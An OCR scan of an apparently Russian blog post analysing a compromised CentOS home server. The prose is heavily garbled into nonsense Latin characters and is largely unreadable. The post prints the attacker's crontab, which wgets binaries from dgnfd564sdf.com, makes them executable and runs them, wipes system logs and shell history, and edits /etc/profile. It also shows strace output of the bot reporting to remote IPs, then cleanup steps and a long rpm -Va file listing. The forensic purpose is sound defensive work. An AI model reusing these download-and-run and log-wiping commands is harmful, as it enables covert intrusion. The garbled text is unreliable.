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Hanucan mHe Byepa Ifatal1ty, rosoput, gomawHmi poyTtep Ha x86 ¢ CentOS kak-To cTpaHHO
cebsi BegeT, rpy3uT kaHan nog rurabuTt, U Kakon-To CTpaHHbIN Npouecc «atddd» 3arpyxaet
npoueccop. Pelwmvn g 3ane3Tb 1 NOCMOTPETb, YTO e TaM TBOPUTCH, U Cpasy MOHSAS, YTO KTO-
TO npobpancs Ha cepBep U coBepLUaeT ¢ HAM HenoTpebcTBa Besikme. B npoueccax Bucenm
wget-bl Ha gomeH dgnfd564sdf.com n npoueccsl atddd, cupsdd, cupsddh, ksapdd,
kysapdd, skysapdd n xfsdxd, sanyuieHHble 13 /etc:

CKpbITbINA TEKCT

root 4741 0.0 0.0 41576 2264 ?

http://www.dgnfd564sdf.
root 4753 0.0 0.
http://www.dgnfd564sdf.
root 4756 0.0 0.
http://www.dgnfd564sdf.
root 4757 0.0 0.
http://www.dgnfd564sdf.
root 4760 0.0 0.
http://www.dgnfd564sdf.
root 4764 0.0 0.
http://www.dgnfd564sdf.
root 4767 0.0 0.
http://www.dgnfd564sdf.

K coxaneHuto, npouecchl He odymaricsi CKonMpoBaTb

HavyanbHbIX aHanus

com:8080/sksapd
0 41576 2268 ?
com:8080/xfsdx

0 41576 2264 ?
com:8080/cupsdd
0 41576 2268 ?
com:8080/kysapd
0 41576 2264 ?
com:8080/ksapd

0 41576 2268 ?
com:8080/atdd

0 41576 2264 ?
com:8080/skysapd
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wget
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wget

wget
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wget

CHavana s nones CMOTPETb, 4YTO XKe BooOLLe NMPONCXOANT N HACKOJ1bKO CEPbE3HO Obina
CKOMIpoOMETNpoOBaHa cucrtema. I'IepBoe, 4YTO MHE NpuLII1o B ronoBy NpoBepuTb —

/etc/rc.local. Tam 6bino cnegytoulee:

cd /etc; ./ksapdd

cd /etc; ./kysapdd

cd /etc;./atddd
cd /etc; ./ksapdd

cd /etc; ./skysapdd

cd /etc;./xfsdxd

«XMM, nagHo», nogyman 4. Nones B root'oBckui crontab:

CKpbITbIN TEKCT
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crontab -e

Each task to run has to be defined through a single line
indicating with different fields when the task will be run
and what command to run for the task

To define the time you can provide concrete values for

minute (m), hour (h), day of month (dom), month (mon),

and day of week (dow) or use '*' in these fields (for 'any').#
Notice that tasks will be started based on the cron's system
daemon's notion of time and timezones.

Edit this file to introduce tasks to be run by cron.

Edit this file to introduce tasks to be run by cron.

Edit this file to introduce tasks to be run by cron.

Edit this file to introduce tasks to be run by cron.

Each task to run has to be defined through a single line
indicating with different fields when the task will be run
and what command to run for the task

To define the time you can provide concrete values for

minute (m), hour (h), day of month (dom), month (mon),

and day of week (dow) or use '*' in these fields (for 'any').#
Notice that tasks will be started based on the cron's system
daemon's notion of time and timezones.

Edit this file to introduce tasks to be run by cron.

Edit this file to introduce tasks to be run by cron.

Edit this file to introduce tasks to be run by cron.

Edit this file to introduce tasks to be run by cron.

Edit this file to introduce tasks to be run by cron.

Each task to run has to be defined through a single line
indicating with different fields when the task will be run
and what command to run for the task

To define the time you can provide concrete values for

minute (m), hour (h), day of month (dom), month (mon),

and day of week (dow) or use '*' in these fields (for 'any').#
Notice that tasks will be started based on the cron's system
daemon's notion of time and timezones.

Output of the crontab jobs (including errors) is sent through
email to the user the crontab file belongs to (unless redirected).

Edit this file to introduce tasks to be run by cron.
Edit this file to introduce tasks to be run by cron.
Edit this file to introduce tasks to be run by cron.
Edit this file to introduce tasks to be run by cron.
Edit this file to introduce tasks to be run by cron.
Edit this file to introduce tasks to be run by cron.
Edit this file to introduce tasks to be run by cron.
Edit this file to introduce tasks to be run by cron.
Edit this file to introduce tasks to be run by cron.

Each task to run has to be defined through a single line
indicating with different fields when the task will be run
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# and what command to run for the task

#

# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),

*/1 * * * * killall -9 nfsd4
Edit this file to introduce tasks to be run by cron.

Each task to run has to be defined through a single line
indicating with different fields when the task will be run
and what command to run for the task

=
#
#
#
#
&
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),

# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system

# daemon's notion of time and timezones.

# Edit this file to introduce tasks to be run by cron.

# Edit this file to introduce tasks to be run by cron.

*/1 * * * * killall -9 profild.key
Edit this file to introduce tasks to be run by cron.

#

#

# Each task to run has to be defined through a single line

# indicating with different fields when the task will be run
# and what command to run for the task
#
#
#
#
#

To define the time you can provide concrete values for

minute (m), hour (h), day of month (dom), month (mon),

and day of week (dow) or use '*' in these fields (for 'any').#
Notice that tasks will be started based on the cron's system

*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26

*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32

*/1 * * * * killall -9 64

/1 * * * * killall -9 new6

*/1 * * * * killall -9 new4

*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * kjillall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*¥/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd

# Edit this file to introduce tasks to be run by cron.

#

# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
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# and what command to run for the task

#

# To define the time you can provide concrete values for

# minute (m), hour (h), day of month (dom), month (mon),

# and day of week (dow) or use '*' in these fields (for 'any').#

*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * ¢d /root;rm -rf dir nohup.out

# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line

*/360 * * * * cd /etc;rm -rf dir atdd

*/360 * * * * cd /etc;rm -rf dir ksapd

*/360 * * * * cd /etc;rm -rf dir kysapd

*/360 * * * * cd /etc;rm -rf dir skysapd

*/360 * * * * cd /etc;rm -rf dir sksapd

*/360 * * * * cd /etc;rm -rf dir xfsdx

*/1 * * * * ¢cd /etc;rm -rf dir cupsdd.*

*/1 * * * * ¢d /etc;rm -rf dir atdd.*

*/1 * * * * cd /etc;rm -rf dir ksapd.*

*/1 * * * * cd /etc;rm -rf dir kysapd.*

*/1 * * * * ¢cd /etc;rm -rf dir skysapd.*

*/1 * * * * cd /etc;rm -rf dir sksapd.*

*/1 * * * * ¢cd /etc;rm -rf dir xfsdx.*

*/1 * * * * chmod 7777 /etc/atdd

*/1 * * * * chmod 7777 /etc/cupsdd

*/1 * * * * chmod 7777 /etc/ksapd

*/1 * * * * chmod 7777 /etc/kysapd

*/1 * * * * chmod 7777 /etc/skysapd

*/1 * * * * chmod 7777 /etc/sksapd

*/1 * * * * chmod 7777 /etc/xfsdx

*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&

# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line

*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
/1 * * * * rm -rf /root/.bash_history

*/1 * * * * touch /root/.bash_history

*/1 * * * * history -r
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*/1 * * * * cd /var/log > dmesg

*/1 * * * * c¢d /var/log > auth.log
*/1 * * * * c¢d /var/log > alternatives.log
*/1 * * * * cd /var/log > boot.log
*/1 * * * * cd /var/log > btmp

*/1 * * * * ¢d /var/log > cron

*/1 * * * * cd /var/log > cups

*/1 * * * * ¢d /var/log > daemon.log
*/1 * * * * cd /var/log > dpkg.log
*/1 * * * * c¢d /var/log > faillog
*/1 * * * * cd /var/log > kern.log
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog
*/1 * * * * cd /var/log > user.log
*/1 * * * * cd /var/log > Xorg.x.log
*/1 * * * * c¢d /var/log > anaconda.log
*/1 * * * * c¢d /var/log > yum.log
*/1 * * * * c¢d /var/log > secure

*/1 * * * * cd /var/log > wtmp

*/1 * * * * ¢cd /var/log > utmp

*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * c¢d /var/log > aculog

*/1 * * * * cd /var/log > access-log

*/1 * * * * ¢cd /root > .bash_history
*/1 * * * * history -c

# Edit this file to introduce tasks to be run by cron.
=

# Edit this file to introduce tasks to be run by cron.
# Edit this file to introduce tasks to be run by cron.

Ox. Paamepom oH 6bin 183KB6, 4036 ctpodek. Bbl korga-Hnbyab Bugenu crontab pasmepom
183KB? A sngen.

K MOMeHTY, Koraa s 3aLuen Ha cepBep, 3TV NPOLIECCHI YK€ HNYEro He aenanu (He rpysnnm
npoueccop, He UCNoMb30Bann ceTb). Pelwnn octaHoBUTL crond, 4TobbI 9TK NpaBuna He
BbIMOMHANNCH, a NpoLecchbl Noka He yomeaTb. HaTtpaBun Ha HUX strace:

CKpbITbIN TEKCT
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[root@Fatalsrv etc]# strace -p 3312

Process 3312 attached - interrupt to quit

[ Process PID=3312 runs in 32 bit mode. ]

restart_syscall(<... resuming interrupted call ...>) = 0

socket (PF_INET, SOCK_STREAM, IPPROTO_IP) = 3

setsockopt (3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = ©
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0

connect (3, {sa_family=AF_INET, sin_port=htons(10991),
sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in

progress)
fcntl64(3, F_GETFL) = Ox802 (flags O_RDWR|O_NONBLOCK)
fcnt164(3, F_SETFL, O_RDWR) =0

setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0
setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) =
setsockopt(3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) 0

send(3, "R\r\o\o\0\0\O\O\0\O\O\O\O\O\O\O\OLinux 2.6.32-35"..., 401, 0) = -1
ECONNREFUSED (Connection refused)

close(3) =0

nanosleep({15, 0}, NULL) =0

socket (PF_INET, SOCK_STREAM, IPPROTO_IP) = 3

setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0

setsockopt (3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0

fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR)

fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0

connect (3, {sa_family=AF_INET, sin_port=htons(10991),
sin_addr=inet_addr("116.10.189.246")}, 16) = -1 EINPROGRESS (Operation now in

0

progress)
fcntl6e4 (3, F_GETFL) = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(3, F_SETFL, O_RDWR) =0

setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0

setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt (3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\O\0O\0O\0O\0", 8) = 0

send(3, "R\r\o\o\0\0\O\O\O\O\O\O\O\O\O\O\OLinux 2.6.32-35"..., 401, 0) = -1
ECONNREFUSED (Connection refused)

close(3) =0

nanosleep({15, 0},

[root@Fatalsrv etc]# strace -p 3268
Process 3268 attached - interrupt to quit
[ Process PID=3268 runs in 32 bit mode. ]

recv(3, Oxfff19338, 4, 0) = -1 ECONNRESET (Connection reset by peer)
close(3) =0
futex(0x816e8a8, FUTEX_WAKE, 1) =1
futex(0x816e8a4, FUTEX_WAKE, 1) =1
nanosleep({15, 0}, NULL) =0

socket (PF_INET, SOCK_STREAM, IPPROTO_IP) = 3

setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0

setsockopt (3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0

fcntl64(3, F_GETFL) = Ox2 (flags O_RDWR)

fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0

connect (3, {sa_family=AF_INET, sin_port=htons(10991),
sin_addr=inet_addr("112.90.22.197")}, 16) = -1 EINPROGRESS (Operation now in
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progress)

fcntl64(3, F_GETFL) 0x802 (flags O_RDWR|O_NONBLOCK)
fcntlé4(3, F_SETFL, O_RDWR) =0

setsockopt(3, SOL_SOCKET, SO_SNDBUF, [0], 4) = 0

setsockopt (3, SOL_SOCKET, SO_LINGER, {onoff=1, linger=0}, 8) = 0
setsockopt (3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0

send (3, "R\r\o\0\o\0\0\0\0\O\O\O\O\O\O\O\OLinux 2.6.32-35"..., 401, 0) = 401
setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\0\0\0", 8) = 0

recv(3, "\4\0\o\o", 4, 0) =4

setsockopt (3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\O\0O\0O\0O\0", 8) = 0

send(3, "\O\O\O\O\O\O\O\O\O\O\O\O\O\O\ONO\O\O\NO\O\O\O\O\O\O\O\O", 27, 0) = 27
setsockopt (3, SOL_SOCKET, SO_RCVTIMEO, "<\0O\0\O\0O\0\O\0", 8) = 0O

recv(3, "\4\0\o\e", 4, 0) =4

setsockopt (3, SOL_SOCKET, SO_SNDTIMEO, "\17\0\0\0\0\0\0\0", 8) = 0

send (3, "\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\1I\O\O\O\O\O\O\O", 27, 0) = 27

setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "<\0\0\0\0\O\0O\0", 8) = 0
recv(3, AC <unfinished ...>
Process 3268 detached

[Mpouecchl NOYTU HUYEro He aenanu, ToNbKo n3peaka oTnpaBnsann cobpaHHble C MaLUUHbI
AaHHble. Pewnn nx youtb, pasymeetcs, ¢ curHanom SIGKILL. Mounctun crontab, nounctmn
/etc/rc.local, yganun atmn ncnonHsemole annsl ua /etc (k cnosy, oHn Bce nmenu SUID-6uT, a
Ha ogHOM 6bIn Immunity-6uT, n ecnu He 3HaTb UM He NOMHUTL NpPo extended attributes
dannos, TO MOXHO OO NIOMaTh rofoBY, MOYEMY HUYErO HEMb3S C HUM caenaTtb: HU
yaanuTb, HU M3MEHUTBL), nouncTun /etc/profile ot 422 ctpouek:

unset MAILCHECK

UTto 03Ha4vaeT, 4To BOTHET BbIST HA KOMMNBIOTEPE NPUMEPHO 7 YacoB. He Tak MHOro, HO U He
mMaro, 3aapxvmsupoBan Bce pannbl cebe n ckayan ux.

Tenepb HY>XHO NPOBEPUTL, BbINN NN N3MEHEHbI Kakne-To cuctemHble hannel. B CentOS ans
3TOro LOCTATOYHO BbINOSTHUTD:

rpm -va

BbiBOg 3TOM KOMaHAbl MEHS, B 06LLEM-TO, NOpaaoBarn:
CKpbITbIN TEKCT
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[root@Fatalsrv ~]# rpm -Va

S.5....T.
S.5....T.
S.5....T.
S.5....T.
S.5....T.
Mo
Mo,
Mo
Mo
Mo
Mo
Mo,
Mo
Mo
S.5....T
S.5....T
missing
oL
S.5....0T
Mo
....... T.
S.5....T
R
.L..
.L..
R T
S.5....T.
S.5....T.
.50 T,
S.5....T.
Mo,
5....T.
....... T.
S.5....T
S.5....0T
S.5....T.
....... T.
S.5....T
S.5....T
S.5....T
Mo
Mo
Mo
Mo
Mo
Mo
Mo,
Mo
Mo
Mo
Mo
Mo
Mo
Mo

c /etc/ppp/chap-secrets

/etc/issue

/etc/crontab

/etc/nagiosgraph/access.conf
/etc/nagiosgraph/nagiosgraph.conf
/usr/lib/nagiosgraph/cgi-bin/show.cgi
/usr/lib/nagiosgraph/cgi-bin/showconfig.cgi
/usr/lib/nagiosgraph/cgi-bin/showgraph.cgi
/usr/lib/nagiosgraph/cgi-bin/showgroup.cgi
/usr/lib/nagiosgraph/cgi-bin/showhost.cgi
/usr/lib/nagiosgraph/cgi-bin/showservice.cgi
/usr/lib/nagiosgraph/cgi-bin/testcolor.cgi
/usr/share/nagiosgraph/htdocs/nagiosgraph.css
/usr/share/nagiosgraph/htdocs/nagiosgraph.js
/var/log/nagiosgraph/nagiosgraph-cgi.log
/var/log/nagiosgraph/nagiosgraph.log

/usr/java/jrel.7.0_40/1lib/install. jar
/1ib/modules/2.6.32-358.2.1.el16.x86_64/build

c /etc/tor/torrc

/

/etc/ppp/options.pptpd

/etc/pptpd.conf

/etc/pam.d/fingerprint-auth

/etc/pam.d/password-auth

/etc/pam.d/smartcard-auth

/etc/pam.d/system-auth

/etc/rsyslog.conf

/etc/rc.d/rc.local

/etc/sysctl.conf

/etc/vsftpd/vsftpd.conf

/var/ftp/pub

c /etc/sysconfig/PlexMediaServer
/usr/lib/plexmediaserver/start.sh

c /etc/sysconfig/lm_sensors

c /etc/php.ini

c /etc/httpd/conf/httpd.conf
/etc/rc.d/init.d/deluge-daemon

c /etc/cacti/db.php

c /etc/cron.d/cacti

c /etc/httpd/conf.d/cacti.conf
/usr/share/cacti
/usr/share/cacti/about.php
/usr/share/cacti/auth_changepassword.php
/usr/share/cacti/auth_login.php
/usr/share/cacti/cdef.php
/usr/share/cacti/cmd.php
/usr/share/cacti/color.php
/usr/share/cacti/data_input.php
/usr/share/cacti/data_queries.php
/usr/share/cacti/data_sources.php
/usr/share/cacti/data_templates.php
/usr/share/cacti/gprint_presets.php
/usr/share/cacti/graph.php
/usr/share/cacti/graph_image.php

C
C
C
C

O 000000000
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/usr/share/cacti/graph_settings.php
/usr/share/cacti/graph_templates.php
/usr/share/cacti/graph_templates_inputs.php
/usr/share/cacti/graph_templates_items.php
/usr/share/cacti/graph_view.php
/usr/share/cacti/graph_xport.php
/usr/share/cacti/graphs.php
/usr/share/cacti/graphs_items.php
/usr/share/cacti/graphs_new.php
/usr/share/cacti/host.php
/usr/share/cacti/host_templates.php
/usr/share/cacti/images
/usr/share/cacti/images/arrow.gif
/usr/share/cacti/images/auth_deny.gif
/usr/share/cacti/images/auth_login.gif
/usr/share/cacti/images/auth_logout.gif
/usr/share/cacti/images/button_add.gif
/usr/share/cacti/images/button_cancel.gif
/usr/share/cacti/images/button_cancel2.gif
/usr/share/cacti/images/button_clear.gif
/usr/share/cacti/images/button_colapse_all.gif
/usr/share/cacti/images/button_create.gif
/usr/share/cacti/images/button_default.gif
/usr/share/cacti/images/button_delete.gif
/usr/share/cacti/images/button_expand_all.gif
/usr/share/cacti/images/button_export.gif
/usr/share/cacti/images/button_go.gif
/usr/share/cacti/images/button_help.gif
/usr/share/cacti/images/button_import.gif
/usr/share/cacti/images/button_no.gif
/usr/share/cacti/images/button_purge.gif
/usr/share/cacti/images/button_refresh.gif
/usr/share/cacti/images/button_save.gif
/usr/share/cacti/images/button_view.gif
/usr/share/cacti/images/button_yes.gif
/usr/share/cacti/images/cacti_about_logo.gif
/usr/share/cacti/images/cacti_backdrop.gif
/usr/share/cacti/images/cacti_backdrop2.gif
/usr/share/cacti/images/cacti_logo.gif
/usr/share/cacti/images/calendar.gif
/usr/share/cacti/images/delete_icon.gif
/usr/share/cacti/images/delete_icon_large.gif
/usr/share/cacti/images/disable_icon.png
/usr/share/cacti/images/enable_icon.png
/usr/share/cacti/images/enable_icon_disabled.png
/usr/share/cacti/images/favicon.ico
/usr/share/cacti/images/graph_page_top.gif
/usr/share/cacti/images/graph_properties.gif
/usr/share/cacti/images/graph_query.png
/usr/share/cacti/images/graph_zoom.gif
/usr/share/cacti/images/hide.gif
/usr/share/cacti/images/install_icon.png
/usr/share/cacti/images/install icon_disabled.png
/usr/share/cacti/images/left_border.gif
/usr/share/cacti/images/menu_line.gif

10/23



/usr/share/cacti/images/menuarrow.gif
/usr/share/cacti/images/move_down.gif
/usr/share/cacti/images/move_left.gif
/usr/share/cacti/images/move_right.gif
/usr/share/cacti/images/move_up.gif
/usr/share/cacti/images/reload_icon_small.gif
/usr/share/cacti/images/shadow.gif
/usr/share/cacti/images/shadow_gray.gif
/usr/share/cacti/images/show.gif
/usr/share/cacti/images/tab_cacti.gif
/usr/share/cacti/images/tab_console.gif
/usr/share/cacti/images/tab_console_down.gif
/usr/share/cacti/images/tab_graphs.gif
/usr/share/cacti/images/tab_graphs_down.gif
/usr/share/cacti/images/tab_mode_list.gif
/usr/share/cacti/images/tab_mode_list_down.gif
/usr/share/cacti/images/tab_mode_preview.gif
/usr/share/cacti/images/tab_mode_preview_down.gif
/usr/share/cacti/images/tab_mode_tree.gif
/usr/share/cacti/images/tab_mode_tree_down.gif
/usr/share/cacti/images/tab_settings.gif
/usr/share/cacti/images/tab_settings_down.gif
/usr/share/cacti/images/transparent_line.gif
/usr/share/cacti/images/uninstall_icon.gif
/usr/share/cacti/images/view_none.gif
/usr/share/cacti/include
/usr/share/cacti/include/auth.php
/usr/share/cacti/include/bottom_footer.php
/usr/share/cacti/include/global.php
/usr/share/cacti/include/global_arrays.php
/usr/share/cacti/include/global_constants.php
/usr/share/cacti/include/global_form.php
/usr/share/cacti/include/global_settings.php
/usr/share/cacti/include/jscalendar
/usr/share/cacti/include/jscalendar/calendar-setup.js
/usr/share/cacti/include/jscalendar/calendar.js
/usr/share/cacti/include/jscalendar/lang
/usr/share/cacti/include/jscalendar/lang/calendar-af.js
/usr/share/cacti/include/jscalendar/lang/calendar-al.js
/usr/share/cacti/include/jscalendar/lang/calendar-bg.js
/usr/share/cacti/include/jscalendar/lang/calendar-big5-utf8.js
/usr/share/cacti/include/jscalendar/lang/calendar-big5.js
/usr/share/cacti/include/jscalendar/lang/calendar-br.js
/usr/share/cacti/include/jscalendar/lang/calendar-ca.js
/usr/share/cacti/include/jscalendar/lang/calendar-cs-utf8.js
/usr/share/cacti/include/jscalendar/lang/calendar-cs-win.js
/usr/share/cacti/include/jscalendar/lang/calendar-da.js
/usr/share/cacti/include/jscalendar/lang/calendar-de.js
/usr/share/cacti/include/jscalendar/lang/calendar-du.js
/usr/share/cacti/include/jscalendar/lang/calendar-el.js
/usr/share/cacti/include/jscalendar/lang/calendar-en.js
/usr/share/cacti/include/jscalendar/lang/calendar-es.js
/usr/share/cacti/include/jscalendar/lang/calendar-fi.js
/usr/share/cacti/include/jscalendar/lang/calendar-fr.js
/usr/share/cacti/include/jscalendar/lang/calendar-he-utf8.js
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/usr/share/cacti/include/jscalendar/lang/calendar-hr-utf8.js
/usr/share/cacti/include/jscalendar/lang/calendar-hr.js
/usr/share/cacti/include/jscalendar/lang/calendar-hu.js
/usr/share/cacti/include/jscalendar/lang/calendar-it.js
/usr/share/cacti/include/jscalendar/lang/calendar-jp.js
/usr/share/cacti/include/jscalendar/lang/calendar-ko-utf8.js
/usr/share/cacti/include/jscalendar/lang/calendar-ko.js
/usr/share/cacti/include/jscalendar/lang/calendar-1t-utf8.js
/usr/share/cacti/include/jscalendar/lang/calendar-1t.js
/usr/share/cacti/include/jscalendar/lang/calendar-1v.js
/usr/share/cacti/include/jscalendar/lang/calendar-nl.js
/usr/share/cacti/include/jscalendar/lang/calendar-no.js
/usr/share/cacti/include/jscalendar/lang/calendar-pl-utf8.js
/usr/share/cacti/include/jscalendar/lang/calendar-pl.js
/usr/share/cacti/include/jscalendar/lang/calendar-pt.js
/usr/share/cacti/include/jscalendar/lang/calendar-ro.js
/usr/share/cacti/include/jscalendar/lang/calendar-ru.js
/usr/share/cacti/include/jscalendar/lang/calendar-ru_win_.js
/usr/share/cacti/include/jscalendar/lang/calendar-si.js
/usr/share/cacti/include/jscalendar/lang/calendar-sk.js
/usr/share/cacti/include/jscalendar/lang/calendar-sp.js
/usr/share/cacti/include/jscalendar/lang/calendar-sv.js
/usr/share/cacti/include/jscalendar/lang/calendar-tr.js
/usr/share/cacti/include/jscalendar/lang/calendar-zh.js
/usr/share/cacti/include/jscalendar/lang/cn_utf8.js
/usr/share/cacti/include/layout.js
/usr/share/cacti/include/main.css
/usr/share/cacti/include/plugins.php
/usr/share/cacti/include/top_graph_header.php
/usr/share/cacti/include/top_header.php
/usr/share/cacti/include/treeview
/usr/share/cacti/include/treeview/ftiens4.js
/usr/share/cacti/include/treeview/ftiens4_export.js
/usr/share/cacti/include/treeview/ftv2blank.gif
/usr/share/cacti/include/treeview/ftv2lastnode.gif
/usr/share/cacti/include/treeview/ftv2mlastnode.gif
/usr/share/cacti/include/treeview/ftv2mnode.gif
/usr/share/cacti/include/treeview/ftv2node.gif
/usr/share/cacti/include/treeview/ftv2plastnode.gif
/usr/share/cacti/include/treeview/ftv2pnode.gif
/usr/share/cacti/include/treeview/ftv2vertline.gif
/usr/share/cacti/include/treeview/ua.js
/usr/share/cacti/include/zoom. js

/usr/share/cacti/index.php

/usr/share/cacti/install

/usr/share/cacti/install/0_8_1_to 8_2.php
/usr/share/cacti/install/@_8_2_to_0_8_2a.php
/usr/share/cacti/install/e_8_2a to_0_8_3.php
/usr/share/cacti/install/0_8_3_to_0_8_4.php
/usr/share/cacti/install/0_8_4_to_0_8_5.php
/usr/share/cacti/install/0_8_5a_to_0_8_6.php
/usr/share/cacti/install/0_8_6_to_0_8_6a.php
/usr/share/cacti/install/0_8_6c¢_to_0_8_6d.php
/usr/share/cacti/install/0_8_6d_to_0_8_6e.php
/usr/share/cacti/install/e_8_6f_to_0_8_6g.php

_0_
_0_
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....... /usr/share/cacti/install/0_8_6g_to_0_8_6h.php
....... /usr/share/cacti/install/0_8_6h_to_0_8_61i.php
....... /usr/share/cacti/install/0_8_6j_to_0_8_7.php
....... /usr/share/cacti/install/0_8_7_to_0_8_7a.php
....... /usr/share/cacti/install/0_8_7a_to_0_8_7b.php
....... /usr/share/cacti/install/e_8_7b_to_0_8_7c.php
....... /usr/share/cacti/install/e_8_7c_to_0_8_7d.php
....... /usr/share/cacti/install/0_8_7d_to_0_8_7e.php
....... /usr/share/cacti/install/0_8_7e_to_0_8_7f.php
....... /usr/share/cacti/install/0_8_7f_to_0_8_7g.php
....... /usr/share/cacti/install/0_8_7g_to_0_8_7h.php
....... /usr/share/cacti/install/0_8_7h_to_0_8_7i.php
....... /usr/share/cacti/install/0_8_7i_to_0_8_8.php
....... /usr/share/cacti/install/0_8_8_to_0_8_8a.php

....... /usr/share/cacti/install/0_8_to_0_8_1.php

....... /usr/share/cacti/install/index.php

....... /usr/share/cacti/install/install_finish.gif

....... /usr/share/cacti/install/install_next.gif

....... /usr/share/cacti/1lib

....... /usr/share/cacti/lib/adodb

....... /usr/share/cacti/lib/adodb/adodb-csvlib.inc.php

....... /usr/share/cacti/lib/adodb/adodb-datadict.inc.php

....... /usr/share/cacti/lib/adodb/adodb-error.inc.php

....... /usr/share/cacti/lib/adodb/adodb-errorhandler.inc.php

....... /usr/share/cacti/lib/adodb/adodb-errorpear.inc.php

....... /usr/share/cacti/lib/adodb/adodb-exceptions.inc.php

....... /usr/share/cacti/lib/adodb/adodb-iterator.inc.php

....... /usr/share/cacti/lib/adodb/adodb-1ib.inc.php

....... /usr/share/cacti/lib/adodb/adodb-pear.inc.php

....... /usr/share/cacti/lib/adodb/adodb-perf.inc.php

....... /usr/share/cacti/lib/adodb/adodb-php4.inc.php

....... /usr/share/cacti/lib/adodb/adodb-time.inc.php

....... /usr/share/cacti/lib/adodb/adodb-xmlschema.inc.php

....... /usr/share/cacti/lib/adodb/adodb.inc.php

....... /usr/share/cacti/lib/adodb/datadict

....... /usr/share/cacti/lib/adodb/datadict/datadict-access.inc.php
....... /usr/share/cacti/lib/adodb/datadict/datadict-db2.inc.php
....... /usr/share/cacti/lib/adodb/datadict/datadict-firebird.inc.php
....... /usr/share/cacti/lib/adodb/datadict/datadict-generic.inc.php
....... /usr/share/cacti/lib/adodb/datadict/datadict-ibase.inc.php
....... /usr/share/cacti/lib/adodb/datadict/datadict-informix.inc.php
....... /usr/share/cacti/lib/adodb/datadict/datadict-mssql.inc.php
....... /usr/share/cacti/lib/adodb/datadict/datadict-mysql.inc.php
....... /usr/share/cacti/lib/adodb/datadict/datadict-oci8.inc.php
....... /usr/share/cacti/lib/adodb/datadict/datadict-postgres.inc.php
....... /usr/share/cacti/lib/adodb/datadict/datadict-sapdb.inc.php
....... /usr/share/cacti/lib/adodb/datadict/datadict-sybase.inc.php
....... /usr/share/cacti/lib/adodb/drivers

....... /usr/share/cacti/lib/adodb/drivers/adodb-access.inc.php
....... /usr/share/cacti/lib/adodb/drivers/adodb-ado.inc.php

....... /usr/share/cacti/lib/adodb/drivers/adodb-ado5.inc.php

....... /usr/share/cacti/lib/adodb/drivers/adodb-ado_access.inc.php
....... /usr/share/cacti/lib/adodb/drivers/adodb-ado_mssql.inc.php
....... /usr/share/cacti/lib/adodb/drivers/adodb-borland_ibase.inc.php
....... /usr/share/cacti/lib/adodb/drivers/adodb-csv.inc.php
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/usr/share/cacti/lib/adodb/drivers/adodb-db2.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-fbsql.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-firebird.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-ibase.inc.php
/usr/share/cacti/lib/adodb/drivers/adodb-informix.inc.php
